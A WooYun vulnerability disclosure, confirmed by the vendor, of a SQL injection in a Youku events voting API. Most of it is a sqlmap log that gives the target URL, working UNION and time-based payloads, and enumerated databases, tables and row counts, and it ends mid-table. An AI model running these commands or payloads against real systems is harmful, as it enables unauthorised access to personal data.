当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138733

漏洞标题:优酷某处SQL注入漏洞(多个user表)

相关厂商:优酷

漏洞作者: 小人物Reno

提交时间:2015-09-03 08:53

修复时间:2015-10-18 09:42

公开时间:2015-10-18 09:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-03: 细节已通知厂商并且等待厂商处理中
2015-09-03: 厂商已经确认,细节仅向厂商公开
2015-09-13: 细节向核心白帽子及相关领域专家公开
2015-09-23: 细节向普通白帽子公开
2015-10-03: 细节向实习白帽子公开
2015-10-18: 细节向公众公开

简要描述:

rt

详细说明:

多个user表,点到为止:

QQ截图20150903001304.jpg


QQ截图20150903001330.jpg

漏洞证明:

QQ截图20150903001340.jpg


QQ截图20150903001351.jpg


QQ截图20150903001438.jpg


[root@Hacker~]# Sqlmap Sqlmap -u "http://events.youku.com/2014/market/api/vote.php?siteName=tianzhushan&type=photo&id=20993" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:02:30
[00:02:30] [INFO] testing connection to the target URL
[00:02:30] [INFO] testing if the target URL is stable. This can take a couple of seconds
[00:02:31] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] y
[00:02:36] [INFO] searching for dynamic content
[00:02:36] [CRITICAL] target URL is heavily dynamic. sqlmap is going to retry the request
[00:02:36] [INFO] searching for dynamic content
[00:02:36] [CRITICAL] target URL is heavily dynamic. sqlmap is going to retry the request
[00:02:37] [INFO] searching for dynamic content
[00:02:37] [CRITICAL] target URL is heavily dynamic. sqlmap is going to retry the request
[00:02:37] [INFO] searching for dynamic content
[00:02:37] [WARNING] target URL is too dynamic. Switching to '--text-only'
[00:02:37] [INFO] testing if GET parameter 'siteName' is dynamic
[00:02:37] [INFO] confirming that GET parameter 'siteName' is dynamic
[00:02:37] [INFO] GET parameter 'siteName' is dynamic
[00:02:37] [WARNING] heuristic (basic) test shows that GET parameter 'siteName' might not be injectable
[00:02:37] [INFO] testing for SQL injection on GET parameter 'siteName'
[00:02:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:02:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:02:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:02:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:02:39] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:02:40] [INFO] testing 'MySQL inline queries'
[00:02:40] [INFO] testing 'PostgreSQL inline queries'
[00:02:40] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:02:40] [INFO] testing 'Oracle inline queries'
[00:02:40] [INFO] testing 'SQLite inline queries'
[00:02:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:02:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:02:41] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:02:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:02:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:02:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:02:43] [INFO] testing 'Oracle AND time-based blind'
[00:02:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:02:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:02:49] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[00:02:54] [WARNING] GET parameter 'siteName' is not injectable
[00:02:54] [INFO] testing if GET parameter 'type' is dynamic
[00:02:54] [INFO] confirming that GET parameter 'type' is dynamic
[00:02:54] [WARNING] GET parameter 'type' does not appear dynamic
[00:02:54] [WARNING] heuristic (basic) test shows that GET parameter 'type' might not be injectable
[00:02:54] [INFO] testing for SQL injection on GET parameter 'type'
[00:02:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:02:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:02:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:02:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:02:56] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:02:57] [INFO] testing 'MySQL inline queries'
[00:02:57] [INFO] testing 'PostgreSQL inline queries'
[00:02:57] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:02:57] [INFO] testing 'Oracle inline queries'
[00:02:57] [INFO] testing 'SQLite inline queries'
[00:02:57] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:02:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:02:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:02:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:02:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:02:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:03:00] [INFO] testing 'Oracle AND time-based blind'
[00:03:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[00:03:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:03:13] [WARNING] GET parameter 'type' is not injectable
[00:03:13] [INFO] testing if GET parameter 'id' is dynamic
[00:03:13] [INFO] confirming that GET parameter 'id' is dynamic
[00:03:13] [INFO] GET parameter 'id' is dynamic
[00:03:14] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[00:03:14] [INFO] testing for SQL injection on GET parameter 'id'
[00:03:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:03:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:03:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:03:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:03:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:03:17] [INFO] testing 'MySQL inline queries'
[00:03:17] [INFO] testing 'PostgreSQL inline queries'
[00:03:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[00:03:17] [INFO] testing 'Oracle inline queries'
[00:03:17] [INFO] testing 'SQLite inline queries'
[00:03:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:03:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:03:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:03:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:03:39] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[00:03:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:03:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:03:41] [INFO] target URL appears to be UNION injectable with 1 columns
[00:03:41] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 445 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: siteName=tianzhushan&type=photo&id=-6871 UNION ALL SELECT CONCAT(0x716d757a71,0x657178706d5455476366,0x7178716471)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: siteName=tianzhushan&type=photo&id=20993 AND SLEEP(5)
---
[00:03:44] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.8
back-end DBMS: MySQL 5.0.11
[00:03:44] [INFO] fetching database names
[00:03:44] [INFO] the SQL query used returns 3 entries
[00:03:44] [INFO] retrieved: "information_schema"
[00:03:44] [INFO] retrieved: "db_events"
[00:03:44] [INFO] retrieved: "test"
available databases [3]:
[*] db_events
[*] information_schema
[*] test
[00:03:44] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[00:03:44] [INFO] fetched data logged to text files under 'F:\????\tools\SQLMAP~1.4\Bin\output\events.youku.com'
[*] shutting down at 00:03:44
[root@Hacker~]# Sqlmap Sqlmap -u "http://events.youku.com/2014/market/api/vote.php?siteName=tianzhushan&type=photo&id=20993" --D db_events
Usage: F:\渗透工具\tools\SQLMAP~1.4\Bin\SqlMap.exe [options]
SqlMap.exe: error: no such option: --D
Press Enter to continue...
[*] shutting down at 00:04:10
[root@Hacker~]# Sqlmap Sqlmap -u "http://events.youku.com/2014/market/api/vote.php?siteName=tianzhushan&type=photo&id=20993" --D db_events --tables
Usage: F:\渗透工具\tools\SQLMAP~1.4\Bin\SqlMap.exe [options]
SqlMap.exe: error: no such option: --D
Press Enter to continue...
[*] shutting down at 00:04:27
[root@Hacker~]# Sqlmap Sqlmap -u "http://events.youku.com/2014/market/api/vote.php?siteName=tianzhushan&type=photo&id=20993" -D db_events --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:04:33
[00:04:33] [INFO] resuming back-end DBMS 'mysql'
[00:04:33] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: siteName=tianzhushan&type=photo&id=-6871 UNION ALL SELECT CONCAT(0x716d757a71,0x657178706d5455476366,0x7178716471)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: siteName=tianzhushan&type=photo&id=20993 AND SLEEP(5)
---
[00:04:33] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.8
back-end DBMS: MySQL 5.0.11
[00:04:33] [INFO] fetching tables for database: 'db_events'
[00:04:34] [INFO] the SQL query used returns 226 entries
[00:04:34] [INFO] retrieved: "7up_user"
[00:04:34] [INFO] retrieved: "adidas_2010_football"
[00:04:34] [INFO] retrieved: "adidas_2011_tvc_info"
[00:04:34] [INFO] retrieved: "adidas_comments"
[00:04:34] [INFO] retrieved: "aveo_clicks"
[00:04:34] [INFO] retrieved: "aveo_comments"
[00:04:34] [INFO] retrieved: "aveo_users"
[00:04:34] [INFO] retrieved: "background_users"
[00:04:35] [INFO] retrieved: "benefit_videos"
[00:04:35] [INFO] retrieved: "bosideng_1024_users"
[00:04:35] [INFO] retrieved: "bosideng_code"
[00:04:35] [INFO] retrieved: "bosideng_fake_users"
[00:04:35] [INFO] retrieved: "bosideng_photos"
[00:04:35] [INFO] retrieved: "bosideng_users"
[00:04:35] [INFO] retrieved: "bosideng_video_vote_logs"
[00:04:35] [INFO] retrieved: "bosideng_videos"
[00:04:35] [INFO] retrieved: "bosideng_vote_logs"
[00:04:35] [INFO] retrieved: "bsd_kpi_email"
[00:04:36] [INFO] retrieved: "bsd_kpi_user"
[00:04:36] [INFO] retrieved: "bsd_rt_log"
[00:04:36] [INFO] retrieved: "bsd_user"
[00:04:36] [INFO] retrieved: "bugles_videos"
[00:04:36] [INFO] retrieved: "casesharing_2013"
[00:04:36] [INFO] retrieved: "cgirl2014_awards"
[00:04:36] [INFO] retrieved: "cgirl_images"
[00:04:36] [INFO] retrieved: "cgirl_users"
[00:04:36] [INFO] retrieved: "cgirl_videos"
[00:04:36] [INFO] retrieved: "chengxin_news"
[00:04:36] [INFO] retrieved: "chery_comments"
[00:04:37] [INFO] retrieved: "chery_photo_vote_logs"
[00:04:37] [INFO] retrieved: "chery_photos"
[00:04:37] [INFO] retrieved: "chery_users"
[00:04:37] [INFO] retrieved: "chery_video_vote_logs"
[00:04:37] [INFO] retrieved: "chery_videos"
[00:04:37] [INFO] retrieved: "cityshow_comment"
[00:04:37] [INFO] retrieved: "cityshow_data"
[00:04:37] [INFO] retrieved: "cityshow_member"
[00:04:37] [INFO] retrieved: "clear_game_log"
[00:04:38] [INFO] retrieved: "clear_log"
[00:04:38] [INFO] retrieved: "clear_rt_log"
[00:04:38] [INFO] retrieved: "clear_users"
[00:04:38] [INFO] retrieved: "crowneplaza_register"
[00:04:38] [INFO] retrieved: "cruze_images"
[00:04:38] [INFO] retrieved: "cruze_users"
[00:04:38] [INFO] retrieved: "cruze_videos"
[00:04:38] [INFO] retrieved: "deyi_tickets_users"
[00:04:38] [INFO] retrieved: "dove2014_erweima"
[00:04:38] [INFO] retrieved: "dove2014_videos"
[00:04:38] [INFO] retrieved: "dove_user"
[00:04:39] [INFO] retrieved: "dove_video"
[00:04:39] [INFO] retrieved: "dumex_videos"
[00:04:39] [INFO] retrieved: "etam_comment"
[00:04:39] [INFO] retrieved: "etam_txt"
[00:04:39] [INFO] retrieved: "fiesta_2011_guestbook"
[00:04:39] [INFO] retrieved: "fm_dream"
[00:04:39] [INFO] retrieved: "fm_kpi_member"
[00:04:39] [INFO] retrieved: "fm_number"
[00:04:39] [INFO] retrieved: "fm_number_bak"
[00:04:40] [INFO] retrieved: "fm_number_t"
[00:04:40] [INFO] retrieved: "fm_number_test"
[00:04:40] [INFO] retrieved: "fm_support_log"
[00:04:40] [INFO] retrieved: "fm_user"
[00:04:40] [INFO] retrieved: "fm_vote_log"
[00:04:40] [INFO] retrieved: "fm_work"
[00:04:40] [INFO] retrieved: "ford_users"
[00:04:40] [INFO] retrieved: "friso2015_awards"
[00:04:40] [INFO] retrieved: "global_accounts"
[00:04:40] [INFO] retrieved: "global_china"
[00:04:41] [INFO] retrieved: "global_files"
[00:04:41] [INFO] retrieved: "global_minisites"
[00:04:41] [INFO] retrieved: "global_testing"
[00:04:41] [INFO] retrieved: "global_units"
[00:04:41] [INFO] retrieved: "greetingcard_params"
[00:04:41] [INFO] retrieved: "gucci_comments"
[00:04:41] [INFO] retrieved: "gucci_rt_logs"
[00:04:41] [INFO] retrieved: "gucci_users"
[00:04:41] [INFO] retrieved: "haizhiyan_images"
[00:04:41] [INFO] retrieved: "haizhiyan_users"
[00:04:42] [INFO] retrieved: "hkdl_users"
[00:04:42] [INFO] retrieved: "ht_config"
[00:04:42] [INFO] retrieved: "ht_guest"
[00:04:42] [INFO] retrieved: "ht_user"
[00:04:42] [INFO] retrieved: "htc_config"
[00:04:42] [INFO] retrieved: "hvsop2013_awards"
[00:04:42] [INFO] retrieved: "hvsop2014_20"
[00:04:42] [INFO] retrieved: "hvsop2014_users"
[00:04:42] [INFO] retrieved: "hvsop_comments"
[00:04:42] [INFO] retrieved: "hvsop_live_email"
[00:04:42] [INFO] retrieved: "hvsop_resumes"
[00:04:43] [INFO] retrieved: "hvsop_users"
[00:04:43] [INFO] retrieved: "hvsop_videos"
[00:04:43] [INFO] retrieved: "hvsop_vote_logs"
[00:04:43] [INFO] retrieved: "hzy_data"
[00:04:43] [INFO] retrieved: "hzy_userdata"
[00:04:43] [INFO] retrieved: "icedew_videos"
[00:04:43] [INFO] retrieved: "jasmine_comments"
[00:04:43] [INFO] retrieved: "jw2ask_marked"
[00:04:43] [INFO] retrieved: "jw2ask_plans"
[00:04:43] [INFO] retrieved: "jw2ask_questions"
[00:04:44] [INFO] retrieved: "jw2ask_same_q"
[00:04:44] [INFO] retrieved: "jw2ask_top30_grade_logs"
[00:04:45] [INFO] retrieved: "kfc_data"
[00:04:45] [INFO] retrieved: "kohler_comments"
[00:04:45] [INFO] retrieved: "kohler_mm_awards"
[00:04:45] [INFO] retrieved: "kohler_photo_vote_logs"
[00:04:45] [INFO] retrieved: "kohler_photos"
[00:04:45] [INFO] retrieved: "kohler_prize_logs"
[00:04:46] [INFO] retrieved: "kohler_users"
[00:04:46] [INFO] retrieved: "kohler_video_vote_logs"
[00:04:46] [INFO] retrieved: "kohler_videos"
[00:04:46] [INFO] retrieved: "lancome_datas"
[00:04:46] [INFO] retrieved: "lancome_infos"
[00:04:46] [INFO] retrieved: "lancome_users"
[00:04:46] [INFO] retrieved: "lee_moment_photos"
[00:04:46] [INFO] retrieved: "lee_moment_votelog"
[00:04:46] [INFO] retrieved: "levis_data"
[00:04:47] [INFO] retrieved: "levis_logs"
[00:04:47] [INFO] retrieved: "levis_win"
[00:04:47] [INFO] retrieved: "loreal_flash_ad"
[00:04:47] [INFO] retrieved: "mabelline_users"
[00:04:47] [INFO] retrieved: "mamonde_2013_videos"
[00:04:47] [INFO] retrieved: "market_huanzhu_votes"
[00:04:47] [INFO] retrieved: "marketing_apply_info"
[00:04:47] [INFO] retrieved: "marketing_darenxiu"
[00:04:47] [INFO] retrieved: "marketing_fashion"
[00:04:47] [INFO] retrieved: "marketing_jianjiancao"
[00:04:48] [INFO] retrieved: "marketing_kfc_avatar"
[00:04:48] [INFO] retrieved: "marketing_kfc_cms"
[00:04:48] [INFO] retrieved: "marketing_laifushi"
[00:04:48] [INFO] retrieved: "marketing_upload_info"
[00:04:48] [INFO] retrieved: "mggs_2015_users"
[00:04:48] [INFO] retrieved: "mmd_datas"
[00:04:48] [INFO] retrieved: "mql_award"
[00:04:48] [INFO] retrieved: "mql_seckill"
[00:04:48] [INFO] retrieved: "mql_seckill_bak"
[00:04:48] [INFO] retrieved: "mql_seckill_log"
[00:04:49] [INFO] retrieved: "mustang_data"
[00:04:49] [INFO] retrieved: "nfsq_users"
[00:04:49] [INFO] retrieved: "nikegz_comments"
[00:04:49] [INFO] retrieved: "nikegz_image"
[00:04:49] [INFO] retrieved: "nikegz_pks"
[00:04:49] [INFO] retrieved: "nikegz_videos"
[00:04:49] [INFO] retrieved: "nivea_answer_logs"
[00:04:49] [INFO] retrieved: "nivea_awards"
[00:04:49] [INFO] retrieved: "nivea_final_awards"
[00:04:49] [INFO] retrieved: "nivea_photos"
[00:04:50] [INFO] retrieved: "nivea_question"
[00:04:50] [INFO] retrieved: "nivea_users"
[00:04:50] [INFO] retrieved: "nivea_vote_logs"
[00:04:50] [INFO] retrieved: "onstar_regist"
[00:04:50] [INFO] retrieved: "onstar_video"
[00:04:50] [INFO] retrieved: "oreo_images"
[00:04:50] [INFO] retrieved: "oreo_videos"
[00:04:50] [INFO] retrieved: "pepsi_comments"
[00:04:50] [INFO] retrieved: "pepsi_ecards"
[00:04:50] [INFO] retrieved: "pepsi_media"
[00:04:51] [INFO] retrieved: "pepsi_users"
[00:04:51] [INFO] retrieved: "pepsi_videos"
[00:04:51] [INFO] retrieved: "pepsi_vote_logs"
[00:04:51] [INFO] retrieved: "pepsicny_videos"
[00:04:51] [INFO] retrieved: "qingyang_comment"
[00:04:51] [INFO] retrieved: "qingyang_videos"
[00:04:51] [INFO] retrieved: "remyvsop_banner"
[00:04:51] [INFO] retrieved: "remyvsop_comment"
[00:04:51] [INFO] retrieved: "remyvsop_mobile"
[00:04:51] [INFO] retrieved: "remyvsop_news"
[00:04:51] [INFO] retrieved: "remyvsop_register"
[00:04:52] [INFO] retrieved: "remyvsop_teams"
[00:04:52] [INFO] retrieved: "remyvsop_videos"
[00:04:52] [INFO] retrieved: "ricola_pincode"
[00:04:52] [INFO] retrieved: "ricola_tickets"
[00:04:52] [INFO] retrieved: "roewe_comment"
[00:04:52] [INFO] retrieved: "roewe_config"
[00:04:52] [INFO] retrieved: "roewe_guess"
[00:04:52] [INFO] retrieved: "roewe_player"
[00:04:52] [INFO] retrieved: "roewe_user"
[00:04:52] [INFO] retrieved: "scj_users"
[00:04:53] [INFO] retrieved: "sprite_users"
[00:04:53] [INFO] retrieved: "sprite_videos"
[00:04:53] [INFO] retrieved: "superb_comments"
[00:04:53] [INFO] retrieved: "superb_comments_bak"
[00:04:53] [INFO] retrieved: "superb_videos"
[00:04:53] [INFO] retrieved: "sww_2011_users"
[00:04:53] [INFO] retrieved: "sww_2011_videos"
[00:04:53] [INFO] retrieved: "unit_cachedata"
[00:04:53] [INFO] retrieved: "unit_comments"
[00:04:53] [INFO] retrieved: "unit_misc"
[00:04:54] [INFO] retrieved: "unit_news"
[00:04:54] [INFO] retrieved: "unit_users"
[00:04:54] [INFO] retrieved: "unit_videos"
[00:04:54] [INFO] retrieved: "unit_visitors"
[00:04:54] [INFO] retrieved: "unit_voting"
[00:04:54] [INFO] retrieved: "vichy2013_awards"
[00:04:54] [INFO] retrieved: "vichy2013_winners"
[00:04:54] [INFO] retrieved: "vsop_email"
[00:04:54] [INFO] retrieved: "vsop_live_mobile"
[00:04:54] [INFO] retrieved: "vsop_loop_videos"
[00:04:55] [INFO] retrieved: "vsop_lyp"
[00:04:55] [INFO] retrieved: "vsop_users"
[00:04:55] [INFO] retrieved: "vsop_videos"
[00:04:55] [INFO] retrieved: "vsop_vote_email"
[00:04:55] [INFO] retrieved: "wmmt_videos"
[00:04:55] [INFO] retrieved: "wtcc_2011_guestbook"
[00:04:55] [INFO] retrieved: "wtcc_2011_shots"
[00:04:55] [INFO] retrieved: "wtcc_2011_users"
[00:04:55] [INFO] retrieved: "wzmt_awards"
[00:04:55] [INFO] retrieved: "wzmt_awards_bak"
[00:04:56] [INFO] retrieved: "wzmt_seckill"
[00:04:56] [INFO] retrieved: "wzmt_seckill_log"
[00:04:56] [INFO] retrieved: "xiuyu_works"
[00:04:56] [INFO] retrieved: "ysl_data"
[00:04:56] [INFO] retrieved: "z_z_comment"
[00:04:56] [INFO] retrieved: "z_z_contact"
[00:04:56] [INFO] retrieved: "z_z_contact2"
[00:04:56] [INFO] retrieved: "z_z_email"
[00:04:56] [INFO] retrieved: "z_z_luck"
[00:04:56] [INFO] retrieved: "z_z_module_luck"
[00:04:57] [INFO] retrieved: "z_z_p"
[00:04:57] [INFO] retrieved: "z_z_txt"
[00:04:57] [INFO] retrieved: "z_z_txt_vote"
[00:04:57] [INFO] retrieved: "z_z_v"
[00:04:57] [INFO] retrieved: "z_z_vote"
[00:04:57] [INFO] retrieved: "z_z_vote_id"
[00:04:57] [INFO] retrieved: "z_z_vote_ip"
[00:04:57] [INFO] retrieved: "zhijue_users"
[00:04:57] [INFO] retrieved: "zqbb_videos"
Database: db_events
[226 tables]
+--------------------------+
| 7up_user |
| adidas_2010_football |
| adidas_2011_tvc_info |
| adidas_comments |
| aveo_clicks |
| aveo_comments |
| aveo_users |
| background_users |
| benefit_videos |
| bosideng_1024_users |
| bosideng_code |
| bosideng_fake_users |
| bosideng_photos |
| bosideng_users |
| bosideng_video_vote_logs |
| bosideng_videos |
| bosideng_vote_logs |
| bsd_kpi_email |
| bsd_kpi_user |
| bsd_rt_log |
| bsd_user |
| bugles_videos |
| casesharing_2013 |
| cgirl2014_awards |
| cgirl_images |
| cgirl_users |
| cgirl_videos |
| chengxin_news |
| chery_comments |
| chery_photo_vote_logs |
| chery_photos |
| chery_users |
| chery_video_vote_logs |
| chery_videos |
| cityshow_comment |
| cityshow_data |
| cityshow_member |
| clear_game_log |
| clear_log |
| clear_rt_log |
| clear_users |
| crowneplaza_register |
| cruze_images |
| cruze_users |
| cruze_videos |
| deyi_tickets_users |
| dove2014_erweima |
| dove2014_videos |
| dove_user |
| dove_video |
| dumex_videos |
| etam_comment |
| etam_txt |
| fiesta_2011_guestbook |
| fm_dream |
| fm_kpi_member |
| fm_number |
| fm_number_bak |
| fm_number_t |
| fm_number_test |
| fm_support_log |
| fm_user |
| fm_vote_log |
| fm_work |
| ford_users |
| friso2015_awards |
| global_accounts |
| global_china |
| global_files |
| global_minisites |
| global_testing |
| global_units |
| greetingcard_params |
| gucci_comments |
| gucci_rt_logs |
| gucci_users |
| haizhiyan_images |
| haizhiyan_users |
| hkdl_users |
| ht_config |
| ht_guest |
| ht_user |
| htc_config |
| hvsop2013_awards |
| hvsop2014_20 |
| hvsop2014_users |
| hvsop_comments |
| hvsop_live_email |
| hvsop_resumes |
| hvsop_users |
| hvsop_videos |
| hvsop_vote_logs |
| hzy_data |
| hzy_userdata |
| icedew_videos |
| jasmine_comments |
| jw2ask_marked |
| jw2ask_plans |
| jw2ask_questions |
| jw2ask_same_q |
| jw2ask_top30_grade_logs |
| kfc_data |
| kohler_comments |
| kohler_mm_awards |
| kohler_photo_vote_logs |
| kohler_photos |
| kohler_prize_logs |
| kohler_users |
| kohler_video_vote_logs |
| kohler_videos |
| lancome_datas |
| lancome_infos |
| lancome_users |
| lee_moment_photos |
| lee_moment_votelog |
| levis_data |
| levis_logs |
| levis_win |
| loreal_flash_ad |
| mabelline_users |
| mamonde_2013_videos |
| market_huanzhu_votes |
| marketing_apply_info |
| marketing_darenxiu |
| marketing_fashion |
| marketing_jianjiancao |
| marketing_kfc_avatar |
| marketing_kfc_cms |
| marketing_laifushi |
| marketing_upload_info |
| mggs_2015_users |
| mmd_datas |
| mql_award |
| mql_seckill |
| mql_seckill_bak |
| mql_seckill_log |
| mustang_data |
| nfsq_users |
| nikegz_comments |
| nikegz_image |
| nikegz_pks |
| nikegz_videos |
| nivea_answer_logs |
| nivea_awards |
| nivea_final_awards |
| nivea_photos |
| nivea_question |
| nivea_users |
| nivea_vote_logs |
| onstar_regist |
| onstar_video |
| oreo_images |
| oreo_videos |
| pepsi_comments |
| pepsi_ecards |
| pepsi_media |
| pepsi_users |
| pepsi_videos |
| pepsi_vote_logs |
| pepsicny_videos |
| qingyang_comment |
| qingyang_videos |
| remyvsop_banner |
| remyvsop_comment |
| remyvsop_mobile |
| remyvsop_news |
| remyvsop_register |
| remyvsop_teams |
| remyvsop_videos |
| ricola_pincode |
| ricola_tickets |
| roewe_comment |
| roewe_config |
| roewe_guess |
| roewe_player |
| roewe_user |
| scj_users |
| sprite_users |
| sprite_videos |
| superb_comments |
| superb_comments_bak |
| superb_videos |
| sww_2011_users |
| sww_2011_videos |
| unit_cachedata |
| unit_comments |
| unit_misc |
| unit_news |
| unit_users |
| unit_videos |
| unit_visitors |
| unit_voting |
| vichy2013_awards |
| vichy2013_winners |
| vsop_email |
| vsop_live_mobile |
| vsop_loop_videos |
| vsop_lyp |
| vsop_users |
| vsop_videos |
| vsop_vote_email |
| wmmt_videos |
| wtcc_2011_guestbook |
| wtcc_2011_shots |
| wtcc_2011_users |
| wzmt_awards |
| wzmt_awards_bak |
| wzmt_seckill |
| wzmt_seckill_log |
| xiuyu_works |
| ysl_data |
| z_z_comment |
| z_z_contact |
| z_z_contact2 |
| z_z_email |
| z_z_luck |
| z_z_module_luck |
| z_z_p |
| z_z_txt |
| z_z_txt_vote |
| z_z_v |
| z_z_vote |
| z_z_vote_id |
| z_z_vote_ip |
| zhijue_users |
| zqbb_videos |
+--------------------------+
[00:04:58] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances will result in replacement with '?' character. Please, find proper character representation inside corresponding output files.
[00:04:58] [INFO] fetched data logged to text files under 'F:\????\tools\SQLMAP~1.4\Bin\output\events.youku.com'
[*] shutting down at 00:04:58
[root@Hacker~]# Sqlmap Sqlmap -u "http://events.youku.com/2014/market/api/vote.php?siteName=tianzhushan&type=photo&id=20993" -D db_events --count
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:05:30
[00:05:30] [INFO] resuming back-end DBMS 'mysql'
[00:05:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 1 column
Payload: siteName=tianzhushan&type=photo&id=-6871 UNION ALL SELECT CONCAT(0x716d757a71,0x657178706d5455476366,0x7178716471)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: siteName=tianzhushan&type=photo&id=20993 AND SLEEP(5)
---
[00:05:30] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.8
back-end DBMS: MySQL 5.0.11
[00:05:30] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
[00:05:30] [INFO] fetching tables for database: 'db_events'
[00:05:30] [INFO] the SQL query used returns 226 entries
Database: db_events
+--------------------------+---------+
| Table | Entries |
+--------------------------+---------+
| z_z_contact | 5109649 |
| kohler_photo_vote_logs | 1116637 |
| kohler_video_vote_logs | 732418 |
| jw2ask_top30_grade_logs | 706831 |
| bosideng_vote_logs | 692292 |
| kohler_mm_awards | 685193 |
| lee_moment_votelog | 396424 |
| fm_vote_log | 360479 |
| chery_video_vote_logs | 318814 |
| chery_users | 278398 |
| ricola_pincode | 249945 |
| fm_number | 228779 |
| sprite_videos | 214247 |
| bsd_kpi_email | 213299 |
| z_z_contact2 | 166098 |
| bsd_user | 163923 |
| bosideng_photos | 153714 |
| bosideng_users | 144582 |
| global_files | 139974 |
| market_huanzhu_votes | 129790 |
| nivea_vote_logs | 125431 |
| bosideng_fake_users | 120141 |
